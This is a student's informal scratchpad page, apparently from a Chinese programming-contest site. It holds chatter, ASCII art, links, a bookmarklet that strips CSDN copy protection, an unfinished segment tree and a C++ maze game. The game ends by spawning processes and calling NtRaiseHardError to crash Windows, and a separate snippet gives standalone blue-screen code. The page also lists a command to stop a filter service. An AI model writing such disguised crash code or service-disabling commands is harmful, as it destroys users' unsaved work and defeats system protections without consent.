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终于有免费的 三角符文 3,4章了
我的 chrome扩展 终于搓完了啊
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某个人的暂存点(只是暂存点)
补药腐朽了!!!
不不不不不不不不不不不 是是是是是是是是是 你 你 搁 搁 搁搁搁搁 着 着 搁 搁 搁搁搁搁 着 着 呢呢呢呢呢呢呢 不 是 是 你 你你你你你你你 搁 搁 搁 搁 着着着着着着着着着着着 搁 搁 搁 搁 着着着着着着着着着着着 呢呢呢 呢 呢 不 是是是是是是是是是 你 你 你 搁搁搁 搁 搁 着 搁搁搁 搁 搁 着 呢 呢 呢 呢 不不 是 是 你 你 你 你 搁 搁 搁搁搁 搁 着着着着着着着着着 搁 搁 搁搁搁 搁 着着着着着着着着着 呢 呢 呢呢呢呢呢呢呢 不 不 不不 是是是是是是是是是 你你 你 搁 搁搁搁 搁 搁 着 搁 搁搁搁 搁 搁 着 呢 呢 呢 呢 不 不 不 你 你 你 你 搁搁 搁 搁 搁 着着着着着着着着着着着 搁搁 搁 搁 搁 着着着着着着着着着着着 呢 呢 呢 呢 不不 不 不 是是是是是是是是是是是 你 你 你 你 搁搁 搁搁搁 搁搁搁 着 着 搁搁 搁搁搁 搁搁搁 着 着 呢 呢 呢 呢 呢呢 不 是 你 你 你 你 搁 搁 搁 着着着着着着着着 搁 搁 搁 着着着着着着着着 呢 呢 呢 呢呢呢 不 是 是是是是是 你 你 你 你 搁 搁 搁搁搁 搁 着着 着 搁 搁 搁搁搁 搁 着着 着 呢呢呢 呢 呢 呢 不 是是 是 你 你 搁 搁 搁 搁 搁 着 着 着 搁 搁 搁 搁 搁 着 着 着 呢 呢 呢 不 是 是是是是是是是是 你 你你 搁搁 搁 搁搁搁搁搁 着着着着着着着着 搁搁 搁 搁搁搁搁搁 着着着着着着着着 呢 呢呢呢呢呢暗区突围账号: 李某人164
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神秘彩色字符画
999999999999999999999999999999999999999999 999999999999999999999999999999999999999999 999999999999119999999999999999999999999999 999999999999119999999999999999999999999999 999999999991119999999999999999999999999999 995555444901119999999999999999999999999999 995555444901119999999999999999999999999999 966555558990119999999994699999999999999999 966555558990119999999994699999999999999999 966655678899019999999990199999999999999999 066666788889909990099901599999999999999999 066666788889909990099901599999999999999999 066669998888919000005900991999999999999999 066669998888919000005900991999999999999999 076669997887499209910900000090999999999999 077669997775499019611902009990000090090019 077669997775499019611902009990000090090019 077781117655599100009103000001000090001019 077781117655599100009103000001000090001019 077777766655599999999999901919902191190199 187777666665699999999999999999999999999999 187777666665699999999999999999999999999999 998777766666999999999999999999999999999999 998777766666999999999999999999999999999999 999999999999999999999999999999999999999999 999999999999999999999999999999999999999999 999999999999999999999999999999999999999999 999999999999999999999999999999999999999999
彩色字符画生成器(未完成) https://wwpk.lanzouo.com/imNwJ38k1job
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这是个悲伤的故事...... https://slay.one/ (by:http://oiclass.com/discuss/64d4a6df76adc37900961300#1691668043860)
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下面有
啸游戏
//超级迷宫 #include <Windows.h> #include <bits/stdc++.h> #include <subsmgr.h> #include <cstdlib> #include <iostream> #include <ctime> #include <random> //#include <termio.h> #include <stdio.h> using namespace std; void Color(int a) { if (a == 0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN |FOREGROUND_BLUE); if (a == 1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY | FOREGROUND_GREEN | FOREGROUND_BLUE); if (a == 2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY | FOREGROUND_GREEN); if (a == 3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_BLUE); if (a == 4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY | FOREGROUND_RED); if (a == 5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN); if (a == 7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED |FOREGROUND_BLUE | FOREGROUND_GREEN); if (a == 8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_RED); } void Setpos(int x,int y) { COORD pos; pos.X = y * 2,pos.Y = x; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } int R[5]; void SlowDisplay(int x,char *p) { while (1) { if (*p != 0) { printf("%c",*p++); } else { break; } Sleep(x); } } struct xg { int xgx,xgy; bool fx,sw = 0; }xg[21]; int ys = 0,hd = 0,sj = 0,sl = 0,mg = 0,hp = 0,hss = 0,hsx = 0,jt = 0,s = 0; char ch[35][35]; char ch1[35][35] = {"", " ##### ##### ########"," #&## ### ### "," #### # ## #### #### "," ### ## # ####! ## "," ###& ### +## ###### ####"," ######&############! ##"," # *# ! ######### ###-##"," # ### ##### # "," # ###*# ############### ### "," # ###&### ####"," # # # ##-############## "," ###### #####! "," #+ # ###### ############ ", " ##&########## ### ### ### ## "," # ! ! #"," ############################"," # ! # ! # #"," # ! # ! #### "," #&########################### "," ) ",}; char ch2[35][35] = {""," ##############################"," #* #"," ########&###################-#"," # # #"," # # ################&#####-# #"," # # # ! +# # #"," # # # ##&############### # # #"," # # # # # # # #"," # # # # ###########&## # # # #"," # # # # #)- ! # # # & #"," # # # # ### ! # # # # #", " # # # ##########&####### # # #"," # # # ! # #"," # # ##################&##### #"," # # ! *# #"," # #####&####### ############ #"," # ! # # ! #"," # ############# ########### #"," # ! #"," ##############################", }; char ch3[31][33] = {""," ##############################"," #. + .#"," # ! #"," # + ! #"," # #"," # ! + #"," # ! + ! #"," # + #"," # + ! #", " # + ! #"," # ! + #"," #+ _____ #"," # |_ _ _| + #"," # + |_|||_| #"," # + |MMMMM| !#"," # |WWWWW| #"," #! |_____| #"," # ! #"," #. + .#"," ##############################", }; char ch4[35][35] = {""," ###*### ########"," ###! # ##### # *#"," ###&#+####### # # # # ######"," # !# # #-# # # # #"," ###&####### # # # # ## #"," ####### ##### # ## #"," ####&### ! ! !# ## #"," # ################ ## #"," ### !! ## "," #### ##&##################### "," # ! !# "," #-############&######### #&## "," #-#ooooooooooo o # #*## "," o ooo o o o o ooo # #### "," o o o o oo o o # "," ooo o ooooooo oo ooo o #######"," ooo o o o oo o #"," ooo o o o*oooooooooooooooo-#"," ooooooo o oo o o o o #"," ) o o o o o #",}; char ch5[35][35] = {""," oooo oooooooooooooooooooo"," ooo o oo+oo o o"," ooooooo*oooo ! o ! o o o"," o o o o o o o"," oooooooooo ooooooooooooooooo o"," o ! ! o"," oooooooo ooooooooooooooooooooo"," oooooooo ooooooooooooooooooooo", " o ! o"," o^^^^^^^^^^^^^^^^^^^^^^^^^^^^o"," o ! ! ! ! ! o"," o^^^^^^^^^^^^^^^^^^^^^^^^^^^^o"," o^*^! !^! !^! ^^! +^! !^! *^o"," o^^^^^^^^^^^^^^^^^^^^^^^^^^^^o"," o ! ! ! ! ! o"," #^^^^^^^^^^^^^^^^^^^^^^^^^^^^#"," # ! #"," ####oooooooooo--oooooooooooo##"," ########oooooo--ooooooo#######"," ###########ooo))oooo##########", }; char ch6[35][35] = {""," oooooooooooooo .oooooooooooooo"," o+oooooooooooo oooooooooooo+o"," ooooooooooooo# #ooooooooooooo"," oooooooooooo#^^^^#oooooooooooo"," oooo*oooooo#^ ^#oooooo*oooo"," oooooooooo# ^ ^ #oooooooooo"," ooooooooo# ^ ^ #ooooooooo"," oooooooo#^^^^^^^^^^^^#oooooooo"," ooooooo#^ ^#--#^ ^#ooooooo"," . ^ ^-NO-^ ^ "," ^ ^-IP-^ ^ ."," ooooooo#^ ^#--#^ ^#ooooooo"," oooooooo#^^^^^^^^^^^^#oooooooo"," ooooooooo# ^ ^ #ooooooooo"," oooooooooo# ^ ^ #oooooooooo"," oooo*oooooo#^ ^#oooooo*oooo"," oooooooooooo#^^^^#oooooooooooo"," ooooooooooooo# #ooooooooooooo"," o+oooooooooooo oooooooooooo+o"," oooooooooooooo. oooooooooooooo",}; void map1(int x,int y,int k) { for (int i = 1;i <= 20;++i) for (int j = 1;j <= 30;++j) { bool f = 1; for (int l = 1;l <= k;++l) if (xg[l].xgx == i && xg[l].xgy == j && xg[l].sw == 0) { Setpos(i,j); Color(4),cout << "▼";f = 0; break; } if (f == 1) { Setpos(i,j); if (i == x && j == y) Color(1),cout << "●"; else if (ch[i][j] == '#' || ch[i][j] == '&') Color(7),cout << "■"; else if (ch[i][j] == ')') Color(5),cout << "☆"; else if (ch[i][j] == '*') Color(5),cout << "♂"; else if (ch[i][j] == '-') Color(3),cout << "▋"; else if (ch[i][j] == '+') Color(2),cout << "◆"; else if (ch[i][j] == '.') Color(1),cout << "◆"; else if (ch[i][j] == 'o') Color(8),cout << "~ "; else if (ch[i][j] == '_') Color(3),cout << "▁"; else if (ch[i][j] == '^') Color(3),cout << "▲"; else if (ch[i][j] == '|') Color(3),cout << "|"; else if (ch[i][j] == 'M') Color(3),cout << 'M' << 'M'; else if (ch[i][j] == 'W') Color(3),cout << 'W' << 'W'; else if (ch[i][j] == 'N') Color(2),cout << "NO"; else if (ch[i][j] == 'I') Color(2),cout << ".."; else if (ch[i][j] == 'O') Color(2),cout << "I!"; else if (ch[i][j] == 'P') Color(2),cout << ".P"; else Color(0),cout << " "; } } Setpos(21,3); Color(5),cout << "[" << ys << " ♂] ",Color(2),cout << "[" << hd << " ◆]"; } int yx(int a) { int k = 0,T = 0,x,y,boss = 0,win = 0;ys = 0,hd = 0,sj = 0; system("cls"); if(a==1) {for(int i=0;i<35;i++)for(int j=0;j<35;j++) ch[i][j]=ch1[i][j];x=1,y=1;} if(a==2) {for(int i=0;i<35;i++)for(int j=0;j<35;j++) ch[i][j]=ch2[i][j];x=2,y=29;} if(a==3) {for(int i=0;i<35;i++)for(int j=0;j<35;j++) ch[i][j]=ch3[i][j];x=10,y=15;boss=1;} if(a==4) {for(int i=0;i<35;i++)for(int j=0;j<35;j++) ch[i][j]=ch4[i][j];x=1,y=1;} if(a==5) {for(int i=0;i<35;i++)for(int j=0;j<35;j++) ch[i][j]=ch5[i][j];x=1,y=1;} if(a==6) {for(int i=0;i<35;i++)for(int j=0;j<35;j++) ch[i][j]=ch6[i][j];x=1,y=15;boss=2;} if(boss==1){for (int i=1;i<=200;++i) {int xx=rand()%21,yy=rand()%31;if ((xx!=x||yy!=y)&&ch[xx][yy]!='_'&&ch[xx][yy]!='W'&&ch[xx][yy]!='|'&&ch[xx][yy]!='M'&&ch[xx][yy]!='.') ch[xx][yy]='o';}map1(x,y,k);} for(int i=1;i<35;++i)for(int j=1;j<35;++j) if (ch[i][j]=='!')k++,xg[k].xgx=i,xg[k].xgy=j,ch[i][j]=' '; map1(x,y,k); while (1) { T++; Setpos(x,y),cout<<" "; if(GetAsyncKeyState(VK_UP)&0x8000&&x!=1&&ch[x-1][y]!='#') x--; else if(GetAsyncKeyState(VK_DOWN)&0x8000&&x!=20&&ch[x+1][y]!='#') x++; else if(GetAsyncKeyState(VK_LEFT)&0x8000&&y!=1&&ch[x][y-1]!='#') y--; else if(GetAsyncKeyState(VK_RIGHT)&0x8000&&y!=30&&ch[x][y+1]!='#') y++; Setpos(x,y),Color(1),cout<<"●"; if(boss!=0&&T%20==5){ for (int i=1;i<=20;++i)for (int j=1;j<=30;++j)if (ch[i][j]=='o') ch[i][j]=' '; for (int i=1;i<=200*boss;++i) {int xx=rand()%21,yy=rand()%31;if ((xx!=x||yy!=y)&&ch[xx][yy]==' ') ch[xx][yy]='o';} map1(x,y,k);} if(T%20==0) map1(x,y,k);if(T%20==10){for(int i=1;i<35;++i)for(int j=1;j<35;++j) if(ch[i][j]=='^')Setpos(i,j),cout<<" ";} if(T%4==0&&k!=0) for (int i=1;i<=k;i++){ if (xg[i].fx==0&&(ch[xg[i].xgx][xg[i].xgy+1]==' '||(ch[xg[i].xgx][xg[i].xgy-1]=='^'&&T%20>=10))&&xg[i].xgy!=30) Setpos(xg[i].xgx,xg[i].xgy),cout<<" ",xg[i].xgy++,Setpos(xg[i].xgx,xg[i].xgy),Color(4),cout<<"▼"; else if (xg[i].fx==1&&(ch[xg[i].xgx][xg[i].xgy-1]==' '||(ch[xg[i].xgx][xg[i].xgy-1]=='^'&&T%20>=10))&&xg[i].xgy!=1) Setpos(xg[i].xgx,xg[i].xgy),cout<<" ",xg[i].xgy--,Setpos(xg[i].xgx,xg[i].xgy),Color(4),cout<<"▼"; else if (xg[i].fx==1) xg[i].fx=0;else xg[i].fx=1;} for (int i=1;i<=k;i++){ if (xg[i].xgx==x&&xg[i].xgy==y&&xg[i].sw==0&&hd==0) {system("cls");cout<<"怪物啊!!!";Sleep(2000);system("cls");return 0;} else if (xg[i].xgx==x&&xg[i].xgy==y&&hd>0&&xg[i].sw==0) {system("cls");cout<<"护盾保护了你!";Sleep(1000);system("cls");map1(x,y,k);hd--;xg[i].sw=1;}} if (ch[x][y]==')') {system("cls");cout<<"You Win!";Sleep(2000);system("cls");win=1;exit(1);} if (ch[x][y]=='*') {system("cls");cout<<"你找到了钥匙!";ys++;Sleep(1000);system("cls");map1(x,y,k);ch[x][y]=' ';} if (ch[x][y]=='.') {system("cls");cout<<"你破坏了水晶!";sj++;Sleep(1000);system("cls");map1(x,y,k);ch[x][y]=' ';} if (ch[x][y]=='-'&&ys>0) {system("cls");cout<<"门开了!";ys--;Sleep(1000);system("cls");map1(x,y,k);ch[x][y]=' ';}else if (ch[x][y]=='-') {system("cls");cout<<"你没有钥匙!";--x;Sleep(3000);system("cls");map1(x,y,k);} if (ch[x][y]=='+') {system("cls");cout<<"你找到了护盾!";hd++;Sleep(1000);system("cls");map1(x,y,k);ch[x][y]=' ';} if (ch[x][y]=='o'&&hd==0) {system("cls");cout<<"烫死啦!!!";Sleep(2000);return 0;} else if (hd>0&&ch[x][y]=='o') {system("cls");cout<<"护盾保护了你!";ch[x][y]=' ';hd--;Sleep(1000);system("cls");map1(x,y,k);} if (ch[x][y]=='^'&&T%20<10&&hd==0) {system("cls");cout<<"被刺穿啦!!!";Sleep(2000);return 0;} else if (hd>0&&ch[x][y]=='^'&&T%20<10) {system("cls");cout<<"护盾保护了你!";ch[x][y]=' ';hd--;Sleep(1000);system("cls");map1(x,y,k);} if ((a==3||a==6)&&sj==4) {system("cls");cout<<"你過關! 你过关!";Sleep(2000);system("cls");win=1;} for (int i=1;i<=k;i++) if (xg[i].xgx==x&&xg[i].xgy==y&&xg[i].sw==0&&hd==0) {system("cls");cout<<"怪物啊!!!";Sleep(1000);system("cls");return 0;} else if (xg[i].xgx==x&&xg[i].xgy==y&&hd>0&&xg[i].sw==0) {system("cls");cout<<"护盾保护了你!";Sleep(1000);system("cls");map1(x,y,k);map1(x,y,k);hd--;xg[i].sw=1;} if(win==1){if(a==1)sl=1;if(a==2)mg=1;if(a==3)hp=1;if(a==4)hss=1;if(a==5)hsx=1;return 0;} Sleep(100); } } void togo(){ for(int i=1;i<=2;i++){cout<<"加载中.\n";Sleep(700);system("cls");cout<<"加载中..\n";Sleep(700);system("cls");cout<<"加载中...\n";Sleep(700);system("cls");} return ; } void ml(){while(1){ system("cls");Color(0); cout<<"1、迷雾森林 ";cout<<endl; sl=1; mg=1; hp=1; hss=1; hsx=1; if (sl==0) cout<<"2、 ? ? ? ? ";else cout<<"2、巨石迷宫(图中如果走可穿透墙,能避开所有的怪) "; cout<<endl; if (mg==0) cout<<"3、 ? ? ? ? ";else cout<<"3、熔岩喷泉(BOSS,图中随机出现熔岩) ";cout<<endl; if (hp==0) cout<<"4、 ? ? ? ? ";else cout<<"4、火山口(上) ";cout<<endl; if (hss==0) cout<<"5、 ? ? ? ? ";else cout<<"5、火山口(下) ";cout<<endl; if (hsx==0) cout<<"6、 ? ? ? ? ";else cout<<"6、火山祭坛(BOSS)";cout<<endl; cout<<"选择关卡(序号)"<<endl;cout<<"退出输入0"<<endl; int a;cin>>a; if (a==1) {yx(1);}if (a==2&&sl==1){yx(2);}if (a==3&&mg==1) {yx(3);}if (a==4&&hp==1) {yx(4);}if (a==5&&hss==1){yx(5);}if (a==6&&hsx==1){yx(6);}if (a==0) cout << "再见!" << endl;return; }} void the_end(){ cout<<"?";Sleep(3000);system("cls");Sleep(1000);cout<<"你死了";Sleep(1000);system("cls");cout<<"不过,我给你点建议怎么样?";Sleep(4000);system("cls");system("color 78");Sleep(300);system("color 0C");cout<<"你最好现在开始跑\n";Sleep(4000);for(int i=1;i<=5;i++){system("color 78");Sleep(300);system("color 0C");Sleep(1000);} for(int i=1;i<=10;i++){system("start cpp");} return ; } void gz() { system("cls"); cout<<"由上下左右键控制"<<endl; cout<<"●是你"<<endl; cout<<"■是墙"<<endl; cout<<"☆是终点"<<endl; cout<<"▼是小怪(只会左右移动)"<<endl; cout<<"▋是门"<<endl; cout<<"♂是钥匙"<<endl; cout<<"◆是护盾(不可杀怪)"<<endl; cout<<"■是可穿透墙(每一关几乎都有)"<<endl; cout<<"◆是水晶(BOSS关破坏所有水晶通关)"<<endl; cout<<"~ 是熔岩"<<endl; cout<<"▁是尖刺(未升起)"<<endl; cout<<"▲是尖刺(升起)"<<endl; cout<<"输入1开始!"<<endl; int a; cin>>a; if (a==1) ml(); else gz(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ipCmdLine, int nCmdShow){ default_random_engine e; bernoulli_distribution u(0.6); e.seed(time(0)); cout<<"建议先关闭所有未保存的工作,否则后果自负"; Sleep(6000); system("cls"); togo(); system("cls"); cout<<"确定开始?(y或n)"; char asd; cin>>asd; if(asd=='n'){ return 0; } system("cls"); CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);srand((unsigned)time(NULL)); cout<<"欢迎来到超级迷宫!"<<endl;cout<<"1、开始!"<<endl;cout<<"2、规则..."<<endl; int a;cin>>a;if (a==1){system("cls");ml();}else if (a==2){gz();} the_end(); HMODULE ntdll = LoadLibrary("ntdll.dll"); FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege"); FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError"); unsigned char ErrKill; long unsigned int HDErr; ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill); ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr); return 0; }
How old are you?怎么老是你
You didadida me, I hualahuala you - 滴水之恩,当涌泉相报
hand chicken - 手机(手 鸡)
One car come,one car go,two car boom boom one car died. - 一场车祸
Some people go in bank with ak47 and biubiubiu,and people said a~a~a~ and died,and some white car (ambulance) said wiwu~wiwu~ and let them go hospital - 一次银行抢劫
解决CSDN不登录就不能复制代码的问题
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4、......
javascript:window.oncontextmenu=document.oncontextmenu=document.oncopy=null; [...document.querySelectorAll('body')].forEach(dom => dom.outerHTML = dom.outerHTML); [...document.querySelectorAll('body, body *')].forEach(dom => {['onselect', 'onselectstart', 'onselectend', 'ondragstart', 'ondragend', 'oncontextmenu', 'oncopy'].forEach(ev => dom.removeAttribute(ev)); dom.style['user-select']='auto';});#md我一共用了几个小时,终于搞明白了这个背景图片了
——————————————————————————————————————研究历史
1.试图把背景图片改成其他的,但失败了。2.发现右键头像,复制的链接可以当作背景图片。
3.在发现打开oiclass上的图片后会自动下载后,发现其他图片的下载链接也可以当背景图片
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https://images.liqucn.com/img/h03/h65/img_localize_90ce9edb3a587bfc68a7b462d3d183a4_800x480.png
https://baidu.physton.com/?q=SB
Here is a ref[1].
https://oiclass.com/file/13300/.avatar.jpg
https://oiclass.com/file/13300/.avatar.png
sc stop TDFileFilter
chatgpt
https://chat19.aichatos.xyz/#/chat/1747461249461
gpedit.msc
https://www.dmoe.cc/random.php
include <windows.h> typedef LONG (NTAPI *NtRaiseHardErrorPtr)( LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response ); int main() { HMODULE ntdll = LoadLibraryA("ntdll.dll"); NtRaiseHardErrorPtr NtRaiseHardError = (NtRaiseHardErrorPtr)GetProcAddress(ntdll, "NtRaiseHardError"); ULONG response; NtRaiseHardError(0xC000021A, 0, 0, NULL, 6, &response); // 0xC000021A是致命错误代码 FreeLibrary(ntdll); return 0; }线段树
#include<iostream> #include<cstring> using namespace std; int qq[100000],tree[100000000]; inline lk(int i) {return i<<1;} inline rk(int i) {return i<<1|1;} //i<<1|1==2*i+1 void treeup(int i){ tree[i]=min(tree[lk(i)],tree[rk(i)]); return; } //dfs: void bu(int i,int lq,int lw){//构建 //i:节点 lq lw:范围 if(lq==lw){ //树和输入重合 tree[i]=qq[lq]; return; } int lp=(lq+lw)>>1; bu(lk(i),lq,lp); bu(rk(i),lp+1,lw); treeup(i); return; } int L,R; int que(int i,int lq,int lw){//查询 int lp=(lq+lw)>>1; int lmi=100000; if(L<lp){ que(lk(i),lq,lp);//TODO } if(R>lp){ que(rk(i),lp+1,lw);//TODO } return 0; } void upd(int i,int lq,int lw,int pos,int val){//更改 if(lq==lw){ tree[i]=val;return; } int lp=(lq+lw)>>1; if(pos<=lp){ upd(lk(i),lq,lp,pos,val); } else { upd(rk(i),lp+1,lw,pos,val); treeup(i); } } int main(){ return 0; }暗区突围!!!
/* ///* //OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO[[`. ... ...................................................................................,[[OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO //OOOOOOOOOOOOOOOOOOOOOOOO/[ ... ... . ....[\OOOOOOOOOOOOOOOOOOOOOOO //OOOOOOOOOOOOOOOOOOOO/` ......... . . ...,\OOOOOOOOOOOOOOOOOOO //OOOOOOOOOOOOOOOOO/. .]]]OOOO\O\OOOOOOOOOOOOOO]]. . ........... ....\OOOOOOOOOOOOOOOO //OOOOOOOOOOOOOO/. ,OOOOOOOOOOOO/O,/O]/OOOOOOO]OO.OOOOOO\]. ........... ..........\OOOOOOOOOOOOO //OOOOOOOOOOOO/ .=OOOOOOOOOOOOOOOOOOOOOOOOOOOOO\OOOOOOOOOOO`........... ..................\OOOOOOOOOOO //OOOOOOOOOO/ .....OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO^ ........... .......... ..........................\OOOOOOOOO //OOOOOOOO/ .......`\.OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/\.]....................... ..............................\OOOOOOO //OOOOOOO` ,.........`=,O[^\OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO``\/\\`....................................................,OOOOOO //OOOOOO. /......,..,.^.\]OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO\\].\O`\.....................................................OOOOO //OOOO/ ,`. ...,,.*,`\=]\OOO/OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO//,*^`\`,O`\`....................................................\OOO //OOO/ =.. ....,...,`,*`\o/OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/OOOO/,``O`\`\\....................................................\OO //OO/ =``.`,=...,`*,.\=`,[O[[\\]OoOoO[O\OOOO\O\O/O[/OOOOOOO\O^OOOOO\^OO==\`O\....................................................\O //OO .^], .\,`....\.`[.*`=][]=OOO\/oOOOOOOOOOOOoOOOOOOO/\\OOOO/OOOOOO.\]\=/O^....................................................O //O^ \ OO`` .,.\,.\,.`,`\^,]*O]OOOO\O\\OOOOOOO/OOOOOOo/OO\\OOOOOO//OOOO=^^/oOOOO\...................................................= //O =OOOOOOOO/OO` .``,.`,,`=.\=.[/\OOOOOOOOOOOOOOO/OOOOOOOOOOOOOOO/O\O^\OOOO\/^^OOOOOOOOOOOOO^............................................ //^ ,OOOOOO\^ =OO` [..,.`,.\,`\.=\/\OOO\OOOOOOOO\O\O\OOoOOO/\OOOOOoOOO`OOO=\O\OOOOOOOOOOOOOOO\................................... .... . //. =OOO]/]O.`,OOO` ,....\./,\.`/\/=OOOOOOOOOOOOOoOO\OOOOoO\OoOOOOoOOO\//\\OOOOOOOOOOOOOOOOOO=............. .. ................. . // ,OOOOOO/.. OOO^ ,..`=,\/.`\`,\=OOOO/OOOOOOOO\OOOOOOOO/\O/OOOO\O\OO\O=\/`/OOOOOOOOOOOOOO/... .... . ... // /OOOOOO`*` OOO\ ..,`,`=.=.,*=//OO/\O\OOOOOO[\\OOOOO/OOOOO/OO\\O\O\OOOOOOOOOOOOOOOOOOO,OO^ .. // ,`OO.,\` ` .OOOO.. ..`,=OOO^=OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/O///]=OOOOOOOOOOOOOOOOO/O=/. . // .=`=O. =O.. /OOOOOO].`.``*`\O\OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO\O,=OOOOOOOOOOOOOOOO\\OOOOO/.. ... // O^=O.` O^ =\./OOOOO..``.=OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO\OOOOOOOOOOOOOOOOO/OOO\^ . // /O^OO,\^=O= ,OO]OOO/.=OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO@\O/OO^OOOOOOOOOOOO\^ . O^ // =^OOOO\OO=O. /OOOOO/=/[OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO\OOOOOOOO^OOOOO/^.. =^ // ,, =OO.O.O^/ =OOOO\/O/[`,]OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO=^ .^ // =,[\]]O\]=^ =\OOOO` .,..]OOOOOOOOOOOOOOOOOOOOO@@@OOO@@OOOOOO@@OOOO@OOOOOOOOOOOOOOO^^ =. // [[\==O^,^, /OO/...]OOOOOOOOOOOOOOOOOOOOOOO@O@@@O@O@O@@@OOOOOOOOOOO@OOOOOOoOOO]``=. . ,^ // OOOOOOOOO/`,OOOOOOOOOOOOOOOOOOOOOOOOOOOO@@O@@@@@@@@O@@@O@OOOO@@@OOOOOO@\[/O`... ]/. // =^,OOOO]]/OOOOOOO^OOOOOOOOOOOO@@O@@@@@@@@@@@@@@@@@@@@@@@OO@O@@@@O@@O@@O\OO*. /@` // .,\ . ,/`]OOOOOOO^\OOOOOOOOOOOOOOOOOO@OO@OOOOOOOOO@@@@@@@@@@@@@O@O@@OOOOOO\,O@^. // ,,][\OOOOOOOOOOO\OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO@@@@O@@O@@@@OO@OO@`/,/ // .. OOOOOOOOOO@^OOOOOOOOOOOOOOOOOOOOOOOOOOOOO@OO@@@OOO@@@@@@@O@@@OO@O@OO... // ,`..=OOOOOOOOOOOOOOOOOOOO@O[....,]]]OOOOOOOO@OOOO@@@@OOO@@@@@@@@O@OO@OOOOO` // .\^/OOOOOOOOOOOOOOOO@/[......*,OOOOOO@OO@@@@@@@@@@OO\]/O@@@@@@@@@@@/\OOOOO^. // .=OOOOOOOOOOOOOOO/`.]]],]*`]OOOOOOOOOOOOOOOO@@@@@@@@OOOOOOOO@@@@@@O@@OO@OO^\. // =OOOOOOOOOOOOO@`]`,OOOOO]OOOOOOOO@@@@@@O@@@OOOOOOOOOO@OO[\`.\/@@@@@@@@@OOO... // OOOOOOOOOOOO/.*..........,`\ooOOOOOOOOOOOOOOOOOOOOOo^`[\@``.,^\@@@O[\OOOO`.. // \@OOOOO@^=O/.....]]O/,=]oOOOOOOOOOOOOOOOOOOOOOOOOo**..,`...\OOOO/O/[[` // ,\@OO@.^.,*],OOO\oOOOOOOOOOO@@O@@@@OO@OOOOOOOO^*,OOO`.....[`....... // .... [..O,OOO\oOOOO@OO@@@@@@@@@O@@@@@@@@@@@OOO^*OOOO@\.=^.. ........ // ...`O`*,]/OOOOOoOOOOOOOO@@@@@@@@@@@@OOOO@OOOOOOOOO@O]/\.. ....... . . // ......,\OOOOOOOOOOOOO@@@OO@@@@@@@@@@@@@@@@@@@@@@O@OO\`*....` ....... .... . ..... // ]]] ]O[O]`..,] .......[[`*,\\OO^..,\OOOO@@@@OOO@@@@@@@@@@OO@@@@OOOOOOOO@\[/,[/[`...... .,/OOO\.... .... ........ // // ,[[[` .=\]^\OOOO^/@O]].....,,`//...,]]]**=,OOOOO@@@@@@@@@@@@@@@@@@@@@OO/oOOOOO\/`......,`/OO/^OOOO^`.\O\`, ........... // O .`.,/.oOOOOO\O@O@O\`...../......\OOOOOOOOOOO@@@O@@@O@OOOOOOOOOOOOOO\`*[O^./\\`\`]],oOOOOO\]OOOO.,\OOOO\.. ............ // ,/ .........*`*///OOOOO\O@@OOOO^,,/..**.,.**,[\OOO@@OOOOOOOOOOOOOOOOOOOOOOOOOOOO^`*`.`\*\,\,\OOOOOOO/==OO^.=oOOOOOOO.... ............... // @ ..............,*,`OOOO\OO@@OOOOOOO*....=OOOO/OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO],/OOO]\oO//O][OOO\OO/OO^.,/oOOOOOOOO]`,.. . ................. // =^ ......]\...........*/=OOOOO\OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO\O\O\OOOOO^*oooOOOOOOOOO\//`.. . ..................... //. 